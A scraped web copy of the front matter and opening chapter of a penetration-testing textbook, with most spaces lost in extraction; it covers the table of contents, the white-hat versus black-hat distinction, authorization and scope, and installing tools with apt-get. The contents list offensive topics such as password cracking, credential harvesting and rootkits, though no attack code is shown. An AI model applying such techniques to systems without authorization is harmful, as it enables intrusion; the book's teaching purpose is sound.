283

The Basics of Hacking and Penetration Testing | BooksFree

Embed Size (px)

Citation preview

TheBasicsofHackingandPenetrationTesting

EthicalHackingandPenetrationTestingMadeEasy

SECONDEDITION

Dr.PatrickEngebretson

TECHNICALEDITOR

DavidKennedyIncludesCoverageofKaliLinux

TableofContents

Coverimage

Titlepage

Copyright

Dedication

Acknowledgments

MyWife

MyGirls

MyFamily

DaveKennedy

JaredDeMott

ToTheSyngressTeam

AbouttheAuthor

Introduction

WhatIsNewInThisEdition?

WhoIsTheIntendedAudienceForThisBook?

HowIsThisBookDifferentFromBook‘X’?

WhyShouldIBuyThisBook?

WhatDoINeedToFollowAlong?

Chapter1.WhatisPenetrationTesting?

InformationInThisChapter:

Introduction

SettingTheStage

IntroductionToKaliAndBacktrackLinux:Tools.LotsOfTools

WorkingWithYourAttackMachine:StartingTheEngine

TheUseAndCreationOfAHackingLab

PhasesOfAPenetrationTest

WhereDoIGoFromHere?

Summary

Chapter2.Reconnaissance

InformationInThisChapter:

Introduction

HTTrack:WebsiteCopier

GoogleDirectives:PracticingYourGoogle-Fu

TheHarvester:DiscoveringAndLeveragingE-MailAddresses

Whois

Netcraft

Host

ExtractingInformationFromDNS

Nslookup

Dig

Fierce:WhatToDoWhenZoneTransfersFail

ExtractingInformationFromE-MailServers

MetaGooFil

ThreatAgent:AttackOfTheDrones

SocialEngineering

SiftingThroughTheIntelToFindAttackableTargets

HowDoIPracticeThisStep?

WhereDoIGoFromHere?

Summary

Chapter3.Scanning

InformationInThisChapter:

Introduction

PingsAndPingSweeps

PortScanning

TheThree-WayHandshake

UsingNmapToPerformATCPConnectScan

UsingNmapToPerformAnSYNScan

UsingNmapToPerformUDPScans

UsingNmapToPerformAnXmasScan

UsingNmapToPerformNullScans

TheNmapScriptingEngine:FromCaterpillarToButterfly

PortScanningWrapUp

VulnerabilityScanning

HowDoIPracticeThisStep?

WhereDoIGoFromHere?

Summary

Chapter4.Exploitation

InformationInThisChapter:

Introduction

Medusa:GainingAccessToRemoteServices

Metasploit:Hacking,HughJackmanStyle!

JtR:KingOfThePasswordCrackers

LocalPasswordCracking

RemotePasswordCracking

LinuxPasswordCrackingAndAQuickExampleOfPrivilegeEscalation

PasswordResetting:TheBuildingAndTheWreckingBall

Wireshark:SniffingNetworkTraffic

Macof:MakingChickenSaladOutOfChickenSh∗T

Armitage:IntroducingDougFlutieOfHacking

WhyLearnFiveToolsWhenOneWorksJustAsWell?

HowDoIPracticeThisStep?

WhereDoIGoFromHere?

Summary

Chapter5.SocialEngineering

InformationInThisChapter:

Introduction

TheBasicsOfSET

WebsiteAttackVectors

TheCredentialHarvester

OtherOptionsWithinSET

Summary

Chapter6.Web-BasedExploitation

InformationInThisChapter:

Introduction

TheBasicsOfWebHacking

Nikto:InterrogatingWebServers

W3af:MoreThanJustAPrettyFace

Spidering:CrawlingYourTarget’sWebsite

InterceptingRequestsWithWebscarab

CodeInjectionAttacks

Cross-SiteScripting:BrowsersThatTrustSites

ZEDAttackProxy:BringingItAllTogetherUnderOneRoof

InterceptingInZAP

SpideringInZAP

ScanningInZAP

HowDoIPracticeThisStep?

WhereDoIGoFromHere?

AdditionalResources

Summary

Chapter7.PostExploitationandMaintainingAccesswithBackdoors,Rootkits,andMeterpreter

InformationInThisChapter:

Introduction

Netcat:TheSwissArmyKnife

Netcat’sCrypticCousin:Cryptcat

Rootkits

HackerDefender:ItIsNotWhatYouThink

DetectingAndDefendingAgainstRootkits

Meterpreter:TheHammerThatTurnsEverythingIntoANail

HowDoIPracticeThisStep?

WhereDoIGoFromHere?

Summary

Chapter8.WrappingUpthePenetrationTest

InformationInThisChapter:

Introduction

WritingThePenetrationTestingReport

ExecutiveSummary

DetailedReport

RawOutput

YouDoNotHaveToGoHomeButYouCannotStayHere

WhereDoIGoFromHere?

WrapUp

TheCircleOfLife

Summary

Index

CopyrightAcquiringEditor:ChrisKatsaropoulosEditorialProjectManager:BenjaminRearickProjectManager:PriyaKumaraguruparanDesigner:MarkRogers

SyngressisanimprintofElsevier225WymanStreet,Waltham,MA02451,USACopyright©2013,2011ElsevierInc.Allrightsreserved.

Nopartofthispublicationmaybereproducedortransmittedinanyformorbyanymeans,electronicormechanical,includingphotocopying,recording,oranyinformationstorageandretrievalsystem,withoutpermissioninwritingfromthepublisher.Detailsonhowtoseekpermission,furtherinformationaboutthePublisher’spermissionspoliciesandourarrangementswithorganizationssuchastheCopyrightClearanceCenterandtheCopyrightLicensingAgency,canbefoundatourwebsite:www.elsevier.com/permissions.

ThisbookandtheindividualcontributionscontainedinitareprotectedundercopyrightbythePublisher(otherthanasmaybenotedherein).

NoticesKnowledgeandbestpracticeinthisfieldareconstantlychanging.Asnewresearchandexperiencebroadenourunderstanding,changesinresearchmethodsorprofessionalpractices,maybecomenecessary.Practitionersandresearchersmustalwaysrelyontheirownexperienceandknowledgeinevaluatingandusinganyinformationormethodsdescribedherein.Inusingsuchinformationormethodstheyshouldbemindfuloftheirownsafetyandthesafetyofothers,includingpartiesforwhomtheyhaveaprofessionalresponsibility.

Tothefullestextentofthelaw,neitherthePublishernortheauthors,contributors,oreditors,assumeanyliabilityforanyinjuryand/ordamagetopersonsorpropertyasamatterofproductsliability,negligenceorotherwise,orfromanyuseoroperationofanymethods,products,instructions,orideascontainedinthematerialherein.

LibraryofCongressCataloging-in-PublicationDataEngebretson,Pat(PatrickHenry),1974-Thebasicsofhackingandpenetrationtesting:ethicalhackingandpenetrationtestingmadeeasy/PatrickEngebretson.–Secondedition.pagescmIncludesbibliographicalreferencesandindex.ISBN978-0-12411644-31.Penetrationtesting(Computersecurity)2.Computerhackers.3.Computersoftware–Testing.4.Computercrimes–Prevention.I.Title.QA76.9.A25E54432013005.8–dc232013017241

BritishLibraryCataloguing-in-PublicationDataAcataloguerecordforthisbookisavailablefromtheBritishLibrary.

ISBN:978-0-12411644-3

ForinformationonallSyngresspublications,visitourwebsiteatwww.syngress.com.

PrintedintheUnitedStatesofAmerica13141510987654321

Dedication

ThisbookisdedicatedtoGodandmyfamily.TimetomakelikeZacBrownandgetKneeDeep.

AcknowledgmentsThank you to everyone involved in making this second edition possible.PublishingabookisateameffortandIhavebeenblessedtobesurroundedbygreat teammates. The list below is woefully inadequate, so I apologize inadvance and thank everyone who had a hand in making this book a reality.Specialthanksto:

MyWifeMy rock, my lighthouse, my steel cables. Thank you for the encouragement,belief, support, and willingness to become a “single mother” again while Idisappearedforhoursanddaystoworkonthissecondedition.Aswithsomanythingsinmylife,Iamcertainthatwithoutyou,thisbookwouldnothavebeen.Morethananyoneelse,Iowethisworktoyou.Iloveyou.

MyGirlsIknowthatinmanyways,thiseditionwasharderforyouthanthefirstbecauseyou are now old enough to miss me when I am gone, but still too young tounderstandwhyIdo it.Someday,whenyouareolder, Ihopeyoupickup thisbookandknowthatallthatIdoinmylifeisforyou.

MyFamilyThankyou tomyextended family foryour loveand support.Anextra specialthankyou tomymother Joyce,whoonceagainservedasmyunofficialeditorand has probably read this book more times than anyone else. Your quickturnaroundtimeandinsightswereinvaluable.

DaveKennedyIthasbeenarealhonortohaveyoucontributetothebook.Iknowhowbusyyouare between family, TrustedSec, the CON circuit, SET, and every other crazyproject you run, but you alwaysmade time for this project and your insights

havemadethiseditionmuchbetterthanIcouldhavehopedfor.Thankyoumyfriend.#hugs.IwouldberemissnottogivesomeadditionalcredittoDave,notonlydidhecontributethroughthetechnicaleditingprocessbuthealsoworkedtirelesslytoensurethebookwasKalicompliantand(naturally)single-handedlyownedChapter5(SET).

JaredDeMottWhatcanIsaytothelastmanwhomademefeellikeanabsoluteidiotaroundacomputer? Thanks for taking the time and supporting my work. You havebecomeagreatfriendandIappreciateyourhelp.

TotheSyngressTeamThanksagainfortheopportunity!Thankstotheeditingteam,Iappreciateallofthe hardwork and dedication you gave this project.A special thanks toChrisKatsaropoulosforallyourefforts.

AbouttheAuthor

Dr Patrick Engebretson obtained his Doctor of Science degree with aspecialization in Information Assurance from Dakota State University. Hecurrently serves as anAssistant Professor of Computer andNetwork SecurityandalsoworksasaSeniorPenetrationTesterforsecurityfirmintheMidwest.His research interests include penetration testing, hacking, exploitation, andmalware.DrEngebretsonhasbeenaspeakeratbothDEFCONandBlackHatinLasVegas.HehasalsobeeninvitedbytheDepartmentofHomelandSecuritytoshare his research at the Software Assurance Forum in Washington, DC. Heregularly attends advanced exploitation and penetration testing trainings fromindustry-recognized professionals and holds several certifications. He teachesgraduateandundergraduatecoursesinpenetrationtesting,malwareanalysis,andadvancedexploitation.

IntroductionIt ishardtobelievethat ithasalreadybeentwoyearssincethefirsteditionofthisbook.Giventhepopularityand(mostlypositive)feedbackIreceivedontheoriginal manuscript, I admit I was anxious to get the second edition on theshelves.Itisnotthatthematerialhaschangeddrastically.Thebasicsofhackingandpenetrationtestingarelargelystill“thebasics”.However,aftercompletingthefirstedition, interactingwithreaders,andlisteningtocountlesssuggestionsfor improvement from family, friends, andcolleagues, I amconfident that thiseditionwill outshine theoriginal innearly every facet.Someold (out-of-date)materialhasbeen removed, somenewmaterialhasbeenadded, and theentirebook received a proper polishing. As with most people in the securitycommunity, Ihavecontinued to learn,my teachingmethodshavecontinued toevolve,andmystudentshavecontinued topushmetoprovide themwithevermorematerial.Becauseof this, Ihavegot somegreatnew toolsandadditionsthatIamreallyexcitedtosharewithyouthistimearound.IamgratefulforallthefeedbackIreceivedforthefirsteditionandIhaveworkedhardtomakesurethesecondeditionisevenbetter.AsIbegantopreparethesecondedition,I lookedcloselyateachchapterto

ensurethatonlythebestandmostrelevantmaterialwasincluded.Aswithmanysecond editions, in some instances, youwill find thematerial identical to theoriginal,whereasinothers,thematerialhasbeenupdatedtoincludenewtoolsorremoveout-of-dateones.Butmost important tomanyofyou, I have includedplentyofnewtopics,tools,andmaterialtocoverthequestionswhichIgetaskedabout most often. As a matter of quality control, both Dave Kennedy and Iworked through each example and tool in the book and updated each of thescreenshots.ThebookhasalsobeenwrittenwithfullKaliLinuxsupport.I would like to thank all the previous readers who sent in questions and

corrections.Ihavebeensuretoincludetheseupdates.Regardlessofwhetheryouarepickingthisbookupforthefirsttimeoryouarereturningtopickupsomeadditionaltools,Iamconfidentthatyouwillenjoythenewedition.AsImentionedatthebeginningofthefirstedition,Isupposethereareseveral

questions thatmay be running through your head as you contemplate readingthis book: Who is the intended audience for this book? How this book is

different than book ‘x’ (insert your favorite title here)?Why should I buy it?WhatexactlywillIneedtosetupinordertofollowalongwiththeexamples?BecausetheseareallfairquestionsandbecauseIamaskingyoutospendyourtimeandcash,itisimportanttoprovidesomeanswerstothesequestions.For people who are interested in learning about hacking and penetration

testing,walkingintoawell-stockedbookstorecanbeasconfusingassearchingfor “hacking” tutorials on the Internet. Initially, there appears to be an almostendless selection to choose from.Most large bookstores have several shelvesdedicated to computer security books. They include books on programmingsecurity, network security, web application security, mobile security, rootkits,malware, penetration testing, vulnerability assessment, exploitation, and ofcourse,hacking.However,eventhehackingbooksseemtovaryincontentandsubjectmatter.Somebooks focusonusing toolsbutdonotdiscusshow thesetoolsfittogether.Otherbooksfocusonhackingaparticularsubjectbutlackthebroadpicture.Thisbookisintendedtoaddresstheseissues.Itismeanttobeasingle,simple

startingpointforanyoneinterestedinthetopicofhackingorpenetrationtesting.Thetextyouareabouttoreadwillnotonlycoverspecifictoolsandtopicsbutalsoexaminehoweachofthetoolsfittogetherandhowtheyrelyononeanotherto be successful. You will need to master both the tools and the propermethodology(i.e.“order”)forusing the tools inorder tobesuccessful inyourinitial training. In other words, as you begin your journey, it is important tounderstandnotonlyhowtoruneachtoolbutalsohowthevarioustoolsrelatetoeachotherandwhattodowhenthetoolyouareusingfails.

WhatisNewinThisEdition?AsImentionedearlier,Ispentasignificantamountoftimeattemptingtoaddresseach of the valid criticisms and issues that previous readers brought to myattention.Iworkedthroughalltheexamplesfromeachchapterinordertoensurethat theywere consistent and relevant. In particular, this edition does amuchbetter job of structuring, ordering, organizing, and classifying each attack andtool. A good deal of time was spent clearly labeling attacks as “local” or“remote” so that readers would have a better understanding of the purpose,posture, and mindset of each topic. Furthermore, I invested significantly inreorganizing the examples so that readers could more easily complete thediscussedattacksagainstasingletarget(Metasploitable).Theloneexceptionto

thisisourreconnaissancephase.Theprocessofdigitalreconoftenrequirestheuseof“live”targets,inordertobeeffective.In addition to the structural changes, several of the tools from the original

bookhavebeenremovedandnewoneshavebeenaddedintheirplaceincludingThreatAgent, DNS interrogation tools, the Nmap Scripting Engine, Social-EngineerToolkit,Armitage,Meterpreter,w3af,ZAPandmore.Alongwith theupdatedindividualtools(asImentioned),thebookandexamplesworkwithKaliLinuxaswell.Last, Ihaveupdated theZeroEntryHacking(ZEH)methodologyto include

PostExploitationactivities,tools,andprocesses.

WhoistheIntendedAudienceforThisBook?This book is meant to be a very gentle yet thorough guide to the world ofhackingandpenetrationtesting.Itisspecificallyaimedathelpingyoumasterthebasicstepsneededtocompleteahackorpenetrationtestwithoutoverwhelmingyou.Bythetimeyoufinishthisbook,youwillhaveasolidunderstandingofthepenetration testing process and you will be comfortable with the basic toolsneededtocompletethejob.Tobeclear,thisbookisaimedatpeoplewhoarenewtotheworldofhacking

andpenetrationtesting,forthosewithlittleornopreviousexperience,forthosewhoarefrustratedbytheinabilitytoseethebigpicture(howthevarioustoolsandphases fit together), forapersonwhowants toquicklygetup-to-speedonwiththeseminaltoolsandmethodsforpenetrationtesting,orforanyonelookingtoexpandtheirknowledgeofoffensivesecurity.In short, this book is written for anyone who is interested in computer

security, hacking, orpenetration testingbuthasnoprior experience and is notsurewhere to begin.A colleague and I call this concept “zero entry hacking”(ZEH), much like modern-day swimming pools. Zero entry pools graduallyslopefromthedryendtothedeepend,allowingswimmerstowadeinwithoutfeeling overwhelmed or have a fear of drowning. The “zero entry” conceptallowseveryonetheabilitytousethepoolregardlessofageorswimmingability.Thisbookemploysa similar technique.ZEH isdesigned toexposeyou to thebasicconceptswithoutoverwhelmingyou.CompletionofthisbookutilizingtheZEHprocesswillprepareyouforadvancedcourses,topics,andbooks.

HowisThisBookDifferentfromBook‘x’?When not spending timewithmy family, there are two things I enjoy doing:readingandhacking.Mostofthetime,Icombinethesehobbiesbyreadingabouthacking.Asaprofessorandapenetrationtester,youcanimaginethatmybookshelfislinedwithmanybooksonhacking,security,andpenetrationtesting.Aswithmost things in life, thequalityandvalueofeachbook isdifferent.Somebooksareexcellentresourceswhichhavebeenusedsomanytimesthebindingsare literally falling apart. Others are less helpful and remain in nearly newcondition.Abookthatdoesagoodjobofexplainingthedetailswithoutlosingthe reader is worth its weight in gold. Unfortunately most of my personalfavorites,thosethatarewornandtattered,areeitherverylengthy(500+pages)orvery focused(an in-depthguide toasingle topic).Neitherof these isabadthing; in fact, quite the opposite, it is the level of detail and the clarity of theauthors’explanationthatmakethemsogreat.Butatthesametime,averylargetome focused on a detailed subject of security can seem overwhelming tonewcomers.Unfortunately,asabeginner trying tobreak into thesecurity fieldand learn

the basics of hacking, tackling one of these books can be both daunting andconfusing.Thisbookisdifferentfromotherpublicationsintwoways.First,itismeant for beginners; recall the concept of “zero entry”. If you have neverperformedany typeofhackingoryouhaveuseda few toolsbut arenotquitesurewhattodonext(orhowtointerprettheresultsofthetool),thisbookisforyou.Thegoalisnottoburyyouwithdetailsbuttopresentabroadoverviewoftheentirefield.Ultimately thisbookisnotdesignedtomakeyouanexpertonevery angle of penetration testing; however, it will get you up-to-speed bycovering everything you need to know in order to tackle more advancedmaterial.Asaresultofthisphilosophy,thisbookwillstillcovereachofthemajortools

neededtocompletethestepsinapenetrationtest,butitwillnotstoptoexamineallofthein-depthoradditionalfunctionalityforeachofthesetools.Thiswillbehelpful from the standpoint that itwill focuson thebasics, and inmost cases,allowustoavoidconfusioncausedbyadvancedfeaturesorminordifferencesintool versions. Once you have completed the book, you will have enoughknowledge to teachyourself the “advanced features”or “newversions”of thetoolsdiscussed.

Forexample,whenwediscussportscanning,thechapterwilldiscusshowtorunseveralbasicscanswith theverypopularportscannerNmap.Because thisbookfocusesonthebasics, itbecomesless importantexactlywhichversionofNmaptheuserisrunning.RunninganSYNscanusingNmapisexactlythesameregardless of whether you are conducting your scan with Nmap version 2 orversion5.Thistechniquewillbeemployedasoftenaspossible;doingsoshouldallowthereadertolearnNmap(oranytool)withouthavingtoworryaboutthechanges in functionality that often accompany advanced features in versionchanges. As an added bonus, writing the book with this philosophy shouldextenditsshelflife.Recall thegoalof thisbook is toprovidegeneralknowledge thatwillallow

you to tackle advanced topics and books. Once you have a firm grasp of thebasics, you can always go back and learn the specific details and advancedfeaturesofatool.Inaddition,eachchapterwillendwithalistofsuggestedtoolsand topics that are outside the scope of this book but can be used for furtherstudyandtoadvanceyourknowledge.Beyond just being written for beginners, this book actually presents the

information in a very uniqueway.All the tools and techniquesweuse in thisbookwill be carried out in a specific order against a small number of relatedtargets(alltargetmachineswillbelongtothesamesubnet,andthereaderwillbeable to easily recreate this “target” network to follow along). Readerswill beshownhowtointerprettooloutputandhowtoutilizethatoutputtocontinuetheattackfromonechaptertothenext.Thebookwillcoverbothlocalandremoteattacksaswellasadiscussionofwheneachisappropriate.Theuseofasequentialandsingularrollingexamplethroughoutthebookwill

helpreadersseethebigpictureandbettercomprehendhowthevarioustoolsandphasesfittogether.Thisisdifferentthanmanyotherbooksonthemarkettoday,whichoftendiscussvarioustoolsandattacksbutfailtoexplainhowthosetoolscanbeeffectivelychainedtogether.Presentinginformationinawaythatshowstheuserhow toclearlymove fromonephase toanotherwillprovidevaluableexperienceandallowthereadertocompleteanentirepenetrationtestbysimplyfollowingalongwith theexamples in thebook.Thisconcept shouldallow thereadertogetaclearunderstandingofthefundamentalknowledgewhilelearninghowthevarioustoolsandphasesconnect.

WhyShouldIBuyThisBook?

Even though the immediate answers to this question are highlighted in theprecedingsections,belowyouwillfindacondensedlistofreasons:•Youwanttolearnmoreabouthackingandpenetrationtestingbutyouareunsureofwheretostart.

•Youhavedabbledinhackingandpenetrationtestingbutyouarenotsurehowallofthepiecesfittogether.

•Youwanttolearnmoreaboutthetoolsandprocessesthatareusedbyhackersandpenetrationtesterstogainaccesstonetworksandsystems.

•Youarelookingforagoodplacetostartbuildingoffensivesecurityknowledge.

•Youhavebeentaskedwithperformingasecurityauditforyourorganization.•Youenjoyachallenge.

WhatDoINeedtoFollowAlong?While it is entirely possible to read the book from beginning to end withoutrecreatinganyoftheexamples,Ihighlyrecommendgettingyourhandsdirtyandtrying each of the tools and techniques discussed. There is no substitute forhands-on experience. All the examples can be done utilizing free tools andsoftwareincludingVMWareplayerandLinux.However,ifpossible,youshouldtrytogetacopyofWindowsXP(preferablywithoutanyServicePacksapplied)inorder to create aWindowsbased target. In reality, anyversionofWindowsfrom2000through8willwork,buttheolder,nonpatchedversionsmakethebesttargetswhenstartingout.In the event thatyoucannot finda copyofWindows to create avulnerable

target, you can still participate and practice each phase by creating ordownloading a vulnerable version of Linux. Throughout this book, we willutilize an intentionally vulnerable version of Ubuntu called “Metasploitable”.Metasploitablemakesforaperfectpractice targetandbest-of-all iscompletelyfree. At the time of this writing Metasploitable could be downloaded fromSourceforgeathttp://sourceforge.net/projects/metasploitable/.

ALERT!Throughout the bookyouwill findweb links like the one above.Becausethewebisconstantlychanging,manywebaddressestendto be transient. If you find one of the referenced links does not

work,tryusingGoogletolocatetheresource.

Wewilldiscussmoredetailsonsettingupyourown“hackinglab”inChapter1butbelowyouwillfindaquicklistofeverythingthatyouneedtogetyourselfup and running, so that you can follow alongwith all of the examples in thebook:•VMwarePlayeroranysoftwarecapableofrunningavirtualmachine.•AKaliLinuxorBackTrackLinuxvirtualmachineoraversionofLinuxtoserveasyourattackmachine.

•TheMetaploitablevirtualmachine,oranyunpatchedversionofWindows(preferablyWindowsXP)toserveasyourtarget.

CHAPTER1

WhatisPenetrationTesting?

InformationinThisChapter:

IntroductiontoKaliandBacktrackLinux:Tools.LotsofToolsWorkingwithYourAttackMachine:StartingtheEngineTheUseandCreationofaHackingLabMethodology:PhasesofaPenetrationTest

IntroductionPenetrationtestingcanbedefinedasalegalandauthorizedattempttolocateandsuccessfullyexploitcomputersystemsforthepurposeofmakingthosesystemsmore secure. The process includes probing for vulnerabilities as well asproviding proof of concept attacks to demonstrate the vulnerabilities are real.Proper penetration testing always ends with specific recommendations foraddressing and fixing the issues that were discovered during the test. On thewhole,thisprocessisusedtohelpsecurecomputersandnetworksagainstfutureattacks.Thegeneral idea is tofindsecurity issuesbyusing thesametoolsandtechniques as an attacker. These findings can then be mitigated before a realhackerexploitsthem.PenetrationtestingisalsoknownasPentestingPTHackingEthicalhackingWhitehathackingOffensivesecurityRedteaming.It is important to spend a few moments discussing the difference between

penetrationtestingandvulnerabilityassessment.Manypeople(andvendors)in

the security community incorrectly use these terms interchangeably. Avulnerability assessment is the process of reviewing services and systems forpotential security issues, whereas a penetration test actually performsexploitation andProof ofConcept (PoC) attacks to prove that a security issueexists. Penetration tests go a step beyond vulnerability assessments bysimulating hacker activity and delivering live payloads. In this book, we willcover the process of vulnerability assessment as one of the steps utilized tocompleteapenetrationtest.

SettingtheStageUnderstandingallthevariousplayersandpositionsintheworldofhackingandpenetration testing is central to comprehending thebigpicture.Letus start bypainting the picture with broad brush strokes. Please understand that thefollowing is a gross oversimplification; however, it should help you see thedifferencesbetweenthevariousgroupsofpeopleinvolved.ItmayhelptoconsidertheStarWarsuniversewheretherearetwosidesofthe

“force”:JedisandSiths.GoodvsEvil.Bothsideshaveaccess toanincrediblepower.Onesideusesitspowertoprotectandserve,whereastheothersideusesitforpersonalgainandexploitation.Learningtohackismuchlikelearningtousetheforce(orsoIimagine!).The

moreyoulearn, themorepoweryouhave.Eventually,youwillhavetodecidewhetheryouwilluseyourpowerforgoodorbad.ThereisaclassicposterfromtheStarWarsEpisodeImoviethatdepictsAnakinasayoungboy.IfyoulookcloselyatAnakin’sshadowintheposter,youwillseeitistheoutlineofDarthVader. Try searching the Internet for “AnakinDarthVader shadow” to see it.Understandingwhy thisposterhasappeal is critical.Asaboy,AnakinhadnoaspirationsofbecomingDarthVader,butithappenednonetheless.Itisprobablysafetoassumethatveryfewpeoplegetintohackingtobecome

asupervillain.Theproblemisthatjourneytothedarksideisaslipperyslope.However, if you want to be great, have the respect of your peers, and begainfully employed in the securityworkforce, youneed to commit yourself tousingyourpowerstoprotectandserve.Havingafelonyonyourrecordisaone-way ticket to anotherprofession. It is true that there is currently a shortageofqualifiedsecurityexperts,butevenso,notmanyemployerstodayarewillingtotake a chance, especially if those crimes involve computers. The rules andrestrictions become even more stringent if you want a computer job which

requiresasecurityclearance.Inthepentestingworld,itisnotuncommontoheartheterms“whitehat”and

“black hat” to describe the Jedis and Siths. Throughout this book, the terms“white hat”, “ethical hacker”, or “penetration tester” will be usedinterchangeablytodescribetheJedisorgoodguys.TheSithswillbereferredtoas“blackhats”,“crackers”,or“maliciousattackers”.It is important to note that ethical hackers complete many of the same

activitieswithmany of the same tools asmalicious attackers. In nearly everysituation,an ethical hacker should strive to act and think like a real black hathacker. The closer the penetration test simulates a real-world attack, themorevalueitprovidestothecustomerpayingforthepenetrationtesting(PT).Pleasenotehowthepreviousparagraphsays“innearlyeverysituation”.Even

thoughwhitehatscompletemanyofthesametaskswithmanyofthesametools,thereisaworldofdifferencebetweenthetwosides.Atitscore,thesedifferencescanbeboileddowntothreekeypoints:authorization,motivation,andintent.Itshouldbestressedthatthesepointsarenotallinclusive,buttheycanbeusefulindeterminingifanactivityisethicalornot.Thefirstandsimplestwaytodifferentiatebetweenwhitehatsandblackhats

is authorization. Authorization is the process of obtaining approval beforeconducting any tests or attacks. Once authorization is obtained, both thepenetrationtesterandthecompanybeingauditedneedtoagreeuponthescopeof the test. The scope includes specific information about the resources andsystems to be included in the test. The scope explicitly defines the authorizedtargetsforthepenetrationtester.Itisimportantthatbothsidesfullyunderstandthe authorization and scope of the PT. White hats must always respect theauthorization and remainwithin the scopeof the test.Blackhatswill havenosuchconstraintsonthetargetlist.

ADDITIONALINFORMATIONClearlydefiningandunderstandingthescopeofthetestiscrucial.The scope formally defines the rules of engagement for both thepenetration tester and the client. It should include a target list aswellasspecificallylistinganysystemsorattackswhichtheclientdoes not want to be included in the test. The scope should bewritten down and signed by authorized personnel from both thetestingteamandtheclient.Occasionally,thescopewillneedtobe

amended during a penetration test.When this occurs, be sure toupdate the scope and resign before proceeding to test the newtargets.

The secondway to differentiate between an ethical hacker and amalicioushacker is through examination of the attacker’s motivation. If the attacker ismotivatedordrivenbypersonalgain,includingprofitthroughextortionorotherdeviousmethodsofcollectingmoneyfromthevictim,revenge,fame,orthelike,he or she should be considered a black hat. However, if the attacker ispreauthorizedandhisorhermotivationistohelptheorganizationandimprovetheirsecurity,heorshecanbeconsideredawhitehat. Inaddition,ablackhathacker may have a significant amount of time focused on attacking theorganization.Inmostcases,aPTmaylast1weektoseveralweeks.BasedonthetimeallottedduringthePT,awhitehatmaynothavediscoveredmoreadvancedtime-intensiveexposures.Finally,iftheintentistoprovidetheorganizationarealisticattacksimulation

so that the company can improve its security through early discovery andmitigationofvulnerabilities,theattackershouldbeconsideredawhitehat.Itisalso important to comprehend the critical nature of keeping PT findingsconfidential. Ethical hackerswill never share sensitive information discoveredduring the process of a penetration testing with anyone other than the client.However,iftheintentistoleverageinformationforpersonalprofitorgain,theattackershouldbeconsideredablackhat.Itisalsoimportanttounderstandthatnotallpenetrationtestsarecarriedout

in the samemanner or have the same purpose.White box penetration testing,alsoknownas“overt”testing,isverythoroughandcomprehensive.Thegoalofthetestistoexamineeverynookandcrannyofthetarget’ssystemornetwork.Thistypeoftestisvaluableinassessingtheoverallsecurityofanorganization.Becausestealthisnotaconcern,manyofthetoolswewillexaminethroughoutthis book can be run in verbose mode. By disregarding stealth in favor ofthoroughnessthepenetrationtesterisoftenabletodiscovermorevulnerabilities.The downside to this type of test is that it does not provide a very accuratesimulationofhowmostmodernday, skilledattackersexploitnetworks. It alsodoes not provide a chance for the organization to test its incident response orearly-alertsystems.Remember,thetesterisnottryingtobestealthy.Thetesteris

attemptingtobethorough.Black box penetration testing, also known as “covert” testing, employs a

significantly different strategy. A black box test is a much more realisticsimulation of the way a skilled attacker would attempt to gain access to thetargetsystemsandnetwork.Thistypeoftesttradesthoroughnessandtheabilitytodetectmultiplevulnerabilities for stealthandpin-pointprecision.Blackboxtesting typically only requires the tester to locate and exploit a singlevulnerability.Thebenefittothistypeoftestisthatitmorecloselymodelshowareal-world attack takes place. Not many attackers today will scan all 65,535ports on a target. Doing so is loud and will almost certainly be detected byfirewalls and intrusion detection systems. Skilledmalicious hackers aremuchmorediscrete.Theymayonlyscanasingleportorinterrogateasingleservicetofindawayofcompromisingandowning the target.Blackbox testingalsohastheadvantageofallowingacompanytotestitsincidentresponseproceduresandtodetermine if their defenses are capable of detecting and stopping a targetedattack.

IntroductiontoKaliandBacktrackLinux:Tools.LotsofToolsA few years back, the open discussion or teaching of hacking techniqueswasconsidered a bit taboo. Fortunately, times have changed and people arebeginning to understand the value of offensive security. Offensive security isnow being embraced by organizations regardless of size or industries.Governments are also getting serious about offensive security. Manygovernments have gone on record stating they are actively building anddevelopingoffensivesecuritycapabilities.Ultimately, penetration testing should play an important role in the overall

security of your organization. Just as policies, risk assessments, businesscontinuityplanning,anddisasterrecoveryhavebecomeintegralcomponentsinkeeping your organization safe and secure, penetration testing needs to beincludedinyouroverallsecurityplanaswell.Penetrationtestingallowsyoutoviewyourorganizationthroughtheeyesoftheenemy.Thisprocesscanleadtomanysurprisingdiscoveriesandgiveyouthetimeneededtopatchyoursystemsbeforearealattackercanstrike.Oneofthegreatthingsaboutlearninghowtohacktodayistheplethoraand

availabilityof good tools toperformyour craft.Notonly are the tools readily

available,butmanyofthemarestablewithseveralyearsofdevelopmentbehindthem.Maybeevenmoreimportanttomanyofyouisthefactthatmostofthesetools are available free of charge. For the purpose of this book, every toolcoveredwillbefree.Itisonethingtoknowatoolisfree.Itisanothertofind,compile,andinstall

each of the tools required to complete even a basic penetration test.Althoughthisprocessisquitesimpleontoday’smodernLinuxoperatingsystems(OSs),itcan still be a bit daunting for newcomers.Most people who start are usuallymore interested in learninghow touse the tools than theyare insearching thevastcornersoftheInternettolocateandinstalltools.To be fair, you really should learn how to manually compile and install

softwareonaLinuxmachine;orat theveryleast,youshouldbecomefamiliarwithapt-get(orthelike).

MOREADVANCEDAdvancedPackageTool (APT) is apackagemanagement system.APTallowsyou toquicklyandeasily install,update, and removesoftwarefromthecommandline.Asidefromitssimplicity,oneofthebestthingsaboutAPTisthefactthatitautomaticallyresolvesdependencyissuesforyou.Thismeansthatifthepackageyouareinstalling requires additional software, APT will automaticallylocate and install the additional software. This is a massiveimprovementovertheolddaysof“dependencyhell”.Installing software with APT is very straightforward. For

example,letusassumeyouwanttoinstallatoolcalledParosProxyon your local Linux machine. Paros is a tool that can be used(amongother things) toevaluate thesecurityofwebapplications.WewilldiscusstheuseofaproxyintheWebBasedExploitationchapterbutfornowletusfocusontheinstallationofthetoolratherthanitsuse.Onceyouknowthenameofthepackageyouwanttoinstall, from the command line you can run: apt-get install

followed by the name of the software you want to install. It isalways a good idea to run: apt-get update before installingsoftware. This will ensure that you are getting the latest versionavailable. To install Paros, we would issue the following

commands:apt-getupdate

apt-getinstallparos

Before the package is installed, youwill be shown howmuchdisk space will be used and you will be asked if you want tocontinue.To install yournew software, you can type “Y”andhitthe enter key. When the program is done installing you will bereturned to the # prompt. At this point you can start Paros byenteringthefollowingcommandintotheterminal:

paros

FornowyoucansimplyclosetheParosprogram.Thepurposeofthisdemowas tocover installingnewsoftware,not in runningorusingParos.If you prefer not to use the command line when installing

